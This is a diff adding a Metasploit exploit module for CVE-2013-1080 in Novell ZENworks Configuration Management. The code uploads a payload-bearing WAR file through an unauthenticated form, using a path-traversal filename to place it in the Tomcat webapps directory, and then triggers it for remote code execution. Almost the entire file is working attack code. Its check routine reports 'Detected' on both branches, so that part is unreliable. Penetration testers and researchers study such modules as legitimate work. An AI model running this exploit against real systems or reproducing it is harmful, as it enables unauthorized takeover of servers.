|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = GreatRanking |
| 12 | + |
| 13 | + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } |
| 14 | + |
| 15 | + include Msf::Exploit::Remote::HttpClient |
| 16 | + include Msf::Exploit::EXE |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super(update_info(info, |
| 20 | + 'Name' => 'Novell ZENworks Configuration Management Remote Execution', |
| 21 | + 'Description' => %q{ |
| 22 | + This module exploits a code execution flaw in Novell ZENworks Configuration |
| 23 | + Management 10 SP3 and 11 SP2. The vulnerability exists in the ZEnworks Control |
| 24 | + Center application, allowing an unauthenticated attacker to upload a malicious file |
| 25 | + outside of the TEMP directory and then make a second request that allows for |
| 26 | + arbitrary code execution. This module has been tested successfully on Novell |
| 27 | + ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2. |
| 28 | + }, |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'James Burton', # Vulnerability discovery |
| 32 | + 'juan vazquez' # Metasploit module |
| 33 | + ], |
| 34 | + 'License' => MSF_LICENSE, |
| 35 | + 'References' => |
| 36 | + [ |
| 37 | + [ 'CVE', '2013-1080' ], |
| 38 | + [ 'BID', '58668' ], |
| 39 | + [ 'OSVDB', '91627' ], |
| 40 | + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-049/' ], |
| 41 | + [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011812' ] |
| 42 | + ], |
| 43 | + 'Privileged' => true, |
| 44 | + 'Platform' => [ 'win', 'linux' ], |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + [ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / Windows 2003 SP2', |
| 48 | + { |
| 49 | + 'Arch' => ARCH_X86, |
| 50 | + 'Platform' => 'win', |
| 51 | + 'Traversal' => '../webapps/' |
| 52 | + } |
| 53 | + ], |
| 54 | + [ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / SUSE Linux Enterprise Server 10 SP3', |
| 55 | + { |
| 56 | + 'Arch' => ARCH_X86, |
| 57 | + 'Platform' => 'linux', |
| 58 | + 'Traversal' => '../../opt/novell/zenworks/share/tomcat/webapps/' |
| 59 | + } |
| 60 | + ] |
| 61 | + ], |
| 62 | + 'DefaultTarget' => 1, |
| 63 | + 'DisclosureDate' => 'Mar 22 2013')) |
| 64 | + |
| 65 | + register_options( |
| 66 | + [ |
| 67 | + Opt::RPORT(443), |
| 68 | + OptBool.new('SSL', [true, 'Use SSL', true]) |
| 69 | + ], self.class) |
| 70 | + end |
| 71 | + |
| 72 | + def check |
| 73 | + res = send_request_cgi({ |
| 74 | + 'method' => 'GET', |
| 75 | + 'uri' => "/zenworks/jsp/fw/internal/Login.jsp" |
| 76 | + }) |
| 77 | + |
| 78 | + if res and res.code == 200 and res.body =~ /Novell ZENworks Control Center/ |
| 79 | + return Exploit::CheckCode::Detected |
| 80 | + end |
| 81 | + |
| 82 | + return Exploit::CheckCode::Detected |
| 83 | + end |
| 84 | + |
| 85 | + def exploit |
| 86 | + |
| 87 | + # Generate the WAR containing the EXE containing the payload |
| 88 | + app_base = rand_text_alphanumeric(4+rand(4)) |
| 89 | + jsp_name = rand_text_alphanumeric(8+rand(8)) |
| 90 | + |
| 91 | + war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s |
| 92 | + |
| 93 | + print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...") |
| 94 | + |
| 95 | + # Rex::MIME::Message.new doesn't work fine with binary data, destroys "\x0d" chars |
| 96 | + boundary = "----#{rand_text_alpha(34)}" |
| 97 | + data = "--#{boundary}\r\n" |
| 98 | + data << "Content-Disposition: form-data; name=\"mainPage:_ctrl21a:FindFile:filePathTextBox\"; filename=\"#{target['Traversal']}#{app_base}.war\"\r\n" |
| 99 | + data << "Content-Type: application/octet-stream\r\n\r\n" |
| 100 | + data << war_data |
| 101 | + data << "\r\n" |
| 102 | + data << "--#{boundary}--" |
| 103 | + |
| 104 | + res = send_request_cgi( |
| 105 | + { |
| 106 | + 'method' => 'POST', |
| 107 | + 'uri' => "/zenworks/jsp/index.jsp?pageid=newDocumentWizard", |
| 108 | + 'ctype' => "multipart/form-data; boundary=#{boundary}", |
| 109 | + 'data' => data |
| 110 | + }) |
| 111 | + |
| 112 | + if res and res.code == 302 |
| 113 | + print_status("Upload finished, waiting 20 seconds for payload deployment...") |
| 114 | + else |
| 115 | + fail_with(Exploit::Failure::Unknown, "Failed to upload payload") |
| 116 | + end |
| 117 | + |
| 118 | + # Wait to ensure the uploaded war is deployed |
| 119 | + select(nil, nil, nil, 20) |
| 120 | + |
| 121 | + print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...") |
| 122 | + send_request_cgi({ |
| 123 | + 'uri' => normalize_uri(app_base, "#{jsp_name}.jsp"), |
| 124 | + 'method' => 'GET', |
| 125 | + }) |
| 126 | + end |
| 127 | + |
| 128 | +end |
0 commit comments